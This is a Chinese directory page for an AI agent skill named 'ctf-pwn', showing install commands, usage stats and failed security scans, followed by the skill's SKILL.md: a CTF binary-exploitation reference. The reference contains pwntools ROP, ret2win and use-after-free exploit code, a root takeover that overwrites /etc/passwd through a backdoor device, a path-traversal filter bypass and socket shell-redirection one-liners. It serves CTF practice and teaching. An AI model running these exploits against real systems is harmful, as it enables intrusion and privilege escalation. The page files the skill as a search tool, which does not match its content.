Token导航 LogoToken导航

Agent Skill · 研究检索

ctf-pwn(CTF PWN 搜索)

ctf-pwn 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

ctf-pwn 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为执行命令;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 64,698。

总安装 294周安装 12GitHub Stars 1下载 95核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:ctf-pwn(CTF PWN 搜索)
来源仓库:https://github.com/ramzxy/ctf
仓库路径:skills/ctf-pwn
安装命令:
npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

ctf-pwn 用于查找、检索和筛选与 CTF PWN 搜索相关的信息。适合在 Codex、Claude、Cursor、Gemini CLI 中根据关键词定位候选结果。通过 npx skills add 命令从指定 GitHub 仓库安装并使用。安装前需确认权限范围和维护状态,注意可能触发联网或文件操作。

建议结合原始 README 核验具体用法和功能边界。

来源仓库内路径:skills/ctf-pwn

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要执行命令,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

ctf-pwn 怎么安装?

在终端执行 npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

ctf-pwn 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

ctf-pwn 需要什么权限?

权限级别是执行命令。安装流程涉及命令执行,可能通过 npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

ctf-pwn 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

ctf-pwn 用的人多吗?

公开数据是累计安装 294 次,近一周安装 12 次,下载 95 次,GitHub 1 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

ctf-pwn 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。

先想清楚的地方

  • 需要执行命令,装到常用环境前要先评估影响面。
  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 不能接受 Skill 在你机器上执行命令的人。
  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
ctf-pwn

CTF PWN 搜索 · 本页

2941执行命令未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

CTF Binary Exploitation (Pwn)

Quick reference for pwn challenges. For detailed techniques, see supporting files.

Additional Resources

  • format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
  • advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)

Source Code Red Flags

  • Threading/pthread → race conditions
  • usleep()/sleep() → timing windows
  • Global variables in multiple threads → TOCTOU

Race Condition Exploitation

bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'

Common Vulnerabilities

  • Buffer overflow: gets(), scanf("%s"), strcpy()
  • Format string: printf(user_input)
  • Integer overflow, UAF, race conditions

Kernel Exploitation

  • Look for vulnerable lseek handlers allowing OOB read/write
  • Heap grooming with forked processes
  • SUID binary exploitation via kernel-to-userland buffer overflow
  • Check kernel config for disabled protections:

- CONFIG_SLAB_FREELIST_RANDOM=n → sequential heap chunks - CONFIG_SLAB_MERGE_DEFAULT=n → predictable allocations

FUSE/CUSE Character Device Exploitation

FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)

Identification:

  • Look for cuse_lowlevel_main() or fuse_main() calls
  • Device operations struct with open, read, write handlers
  • Device name registered via DEVNAME=backdoor or similar

Common vulnerability patterns:

// Backdoor pattern: write handler with command parsing
void backdoor_write(const char *input, size_t len) {
    char *cmd = strtok(input, ":");
    char *file = strtok(NULL, ":");
    char *mode = strtok(NULL, ":");
    if (!strcmp(cmd, "b4ckd00r")) {
        chmod(file, atoi(mode));  // Arbitrary chmod!
    }
}

Exploitation:

# Change /etc/passwd permissions via custom device
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor

# 511 decimal = 0777 octal (rwx for all)
# Now modify passwd to get root
echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
su root

Privilege escalation via passwd modification:

  1. Make /etc/passwd writable via the backdoor
  2. Replace root line with root::0:0:root:/root:/bin/sh (no password)
  3. su root without password prompt

Busybox/Restricted Shell Escalation

When in restricted environment without sudo:

  1. Find writable paths via character devices
  2. Target system files: /etc/passwd, /etc/shadow, /etc/sudoers
  3. Modify permissions then content to gain root

Protection Implications for Exploit Strategy

ProtectionStatusImplication
PIEDisabledAll addresses (GOT, PLT, functions) are fixed - direct overwrites work
RELROPartialGOT is writable - GOT overwrite attacks possible
RELROFullGOT is read-only - need alternative targets (hooks, vtables, return addr)
NXEnabledCan't execute shellcode on stack/heap - use ROP or ret2win
CanaryPresentStack smash detected - need leak or avoid stack overflow (use heap)

Quick decision tree:

  • Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
  • Full RELRO → target __free_hook, __malloc_hook (glibc < 2.34), or return addresses
  • Stack canary present → prefer heap-based attacks or leak canary first

Stack Buffer Overflow

  1. Find offset to return address: cyclic 200 then cyclic -l <value>
  2. Check protections: checksec --file=binary
  3. No PIE + No canary = direct ROP
  4. Canary leak via format string or partial overwrite

ret2win with Parameter (Magic Value Check)

Pattern: Win function checks argument against magic value before printing flag.

// Common pattern in disassembly
void win(long arg) {
    if (arg == 0x1337c0decafebeef) {  // Magic check
        // Open and print flag
    }
}

Exploitation (x86-64):

from pwn import *

# Find gadgets
pop_rdi_ret = 0x40150b   # pop rdi; ret
ret = 0x40101a           # ret (for stack alignment)
win_func = 0x4013ac
magic = 0x1337c0decafebeef

offset = 112 + 8  # = 120 bytes to reach return address

payload = b"A" * offset
payload += p64(ret)        # Stack alignment (Ubuntu/glibc requires 16-byte)
payload += p64(pop_rdi_ret)
payload += p64(magic)
payload += p64(win_func)

Finding the win function:

  • Search for fopen("flag.txt") or similar in Ghidra
  • Look for functions with no XREF that check a magic parameter
  • Check for conditional print/exit patterns after parameter comparison

Stack Alignment (16-byte Requirement)

Modern Ubuntu/glibc requires 16-byte stack alignment before call instructions. Symptoms of misalignment:

  • SIGSEGV in movaps instruction (SSE requires alignment)
  • Crash inside libc functions (printf, system, etc.)

Fix: Add extra ret gadget before your ROP chain:

payload = b"A" * offset
payload += p64(ret)        # Align stack to 16 bytes
payload += p64(pop_rdi_ret)
# ... rest of chain

Offset Calculation from Disassembly

push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp        ; Stack frame = 0x70 (112) bytes
...
lea    -0x70(%rbp),%rax  ; Buffer at rbp-0x70
mov    $0xf0,%edx        ; read() size = 240 (overflow!)

Calculate offset:

  • Buffer starts at rbp - buffer_offset (e.g., rbp-0x70)
  • Saved RBP is at rbp (0 offset from buffer end)
  • Return address is at rbp + 8
  • Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes

Input Filtering (memmem checks)

Some challenges filter input using memmem() to block certain strings:

payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload

Finding Gadgets

# Find pop rdi; ret
objdump -d binary | grep -B1 "pop.*rdi"
ROPgadget --binary binary | grep "pop rdi"

# Find simple ret (for alignment)
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"

Struct Pointer Overwrite (Heap Menu Challenges)

Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.

Struct layout example:

struct Student {
    char name[36];      // offset 0x00 - data buffer
    int *grade_ptr;     // offset 0x24 - pointer to separate allocation
    float gpa;          // offset 0x28
};  // total: 0x2c (44 bytes)

Exploitation:

from pwn import *

WIN = 0x08049316
GOT_TARGET = 0x0804c00c  # printf@GOT

# 1. Create object (allocates struct + sub-allocations)
create_student("AAAA", 5, 3.5)

# 2. Modify name - overflow into pointer field with GOT address
payload = b'A' * 36 + p32(GOT_TARGET)  # 36 bytes padding + GOT addr
modify_name(0, payload)

# 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
modify_grade(0, str(WIN))  # Writes win addr as int to GOT entry

# 4. Trigger overwritten function -> jumps to win

GOT target selection strategy:

  • Identify which libc functions the win function calls internally
  • Do NOT overwrite GOT entries for functions used by win (causes infinite recursion/crash)
  • Prefer functions called in the main loop AFTER the write
Win usesSafe GOT targets
puts, fopen, fread, fclose, exitprintf, free, getchar, malloc, scanf
printf, systemputs, exit, free
system onlyputs, printf, exit

ROP Chain Building

from pwn import *

elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)

# Common gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

# Leak libc
payload = flat(
    b'A' * offset,
    pop_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    elf.symbols['main']
)

Pwntools Template

from pwn import *

context.binary = elf = ELF('./binary')
context.log_level = 'debug'

def conn():
    if args.REMOTE:
        return remote('host', port)
    return process('./binary')

io = conn()
# exploit here
io.interactive()

Useful Commands

one_gadget libc.so.6           # Find one-shot gadgets
ropper -f binary               # Find ROP gadgets
ROPgadget --binary binary      # Alternative gadget finder
seccomp-tools dump ./binary    # Check seccomp rules

Use-After-Free (UAF) Exploitation

Pattern: Menu-based programs with create/delete/view operations where free() doesn't NULL the pointer.

Classic UAF flow:

  1. Create object A (allocates chunk with function pointer)
  2. Leak address via inspect/view (bypass PIE)
  3. Free object A (creates dangling pointer)
  4. Allocate object B of same size (reuses freed chunk via tcache)
  5. Object B data overwrites A's function pointer with win() address
  6. Trigger A's callback → jumps to win()

Key insight: Both structs must be the same size for tcache to reuse the chunk.

# UAP Watch pattern
create_report("sighting-0")  # 64-byte struct with callback ptr at +56
leak = inspect_report(0)      # Leak callback address for PIE bypass
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset

delete_report(0)              # Free chunk, dangling pointer remains
# Allocate same-size struct, overwriting callback
create_signal(b"A"*56 + p64(win_addr))
analyze_report(0)             # Calls dangling pointer → win()

Seccomp Bypass

Alternative syscalls when seccomp blocks open()/read():

  • openat() (257), openat2() (437, often missed!), sendfile() (40), readv()/writev()

Check rules: seccomp-tools dump./binary

See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, scmp_arg_cmp struct layout.

Stack Shellcode with Input Reversal

Pattern (Scarecode): Binary reverses input buffer before returning.

Strategy:

  1. Leak address via info-leak command (bypass PIE)
  2. Find sub rsp, 0x10; jmp *%rsp gadget
  3. Pre-reverse shellcode and RIP overwrite bytes
  4. Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
  5. Place trampoline (jmp short) to hop back into NOP sled + shellcode

Null-byte avoidance with scanf("%s"):

  • Can't embed \x00 in payload
  • Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
  • Use short jumps and NOP sleds instead of multi-address ROP chains

Path Traversal Sanitizer Bypass

Pattern (Galactic Archives): Sanitizer skips character after finding banned char.

# Sanitizer removes '.' and '/' but skips next char after match
# ../../etc/passwd → bypass with doubled chars:
"....//....//etc//passwd"
# Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)

Flag via /proc/self/fd/N:

  • If binary opens flag file but doesn't close fd, read via /proc/self/fd/3
  • fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file

Global Buffer Overflow (CSV Injection)

Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.

Exploitation:

  1. Identify global array adjacent to filename pointer in memory
  2. Overflow array bounds by injecting extra delimiters (commas in CSV)
  3. Overflowed pointer lands on filename variable
  4. Change filename to flag.txt, then trigger read operation
# Edit last cell with comma-separated overflow
edit_cell("J10", "whatever,flag.txt")
save()   # CSV row now has 11 columns
load()   # Column 11 overwrites savefile pointer with ptr to "flag.txt"
load()   # Now reads flag.txt into spreadsheet
print_spreadsheet()  # Shows flag

Shell Tricks

File descriptor redirection (no reverse shell needed):

# Redirect stdin/stdout to client socket (fd 3 common for network)
exec <&3; sh >&3 2>&3

# Or as single command string
exec<&3;sh>&3
  • Network servers often have client connection on fd 3
  • Avoids firewall issues with outbound connections
  • Works when you have command exec but limited chars

Find correct fd:

ls -la /proc/self/fd           # List open file descriptors

Short shellcode alternatives:

  • sh<&3 >&3 - minimal shell redirect
  • Use $0 instead of sh in some shells

平台分布

Codex

35.38%
按下载量换算34

Claude

29.18%
按下载量换算28

Cursor

19.61%
按下载量换算19

Gemini CLI

9.75%
按下载量换算9

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/ramzxy/ctf --skill ctf-pwn 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills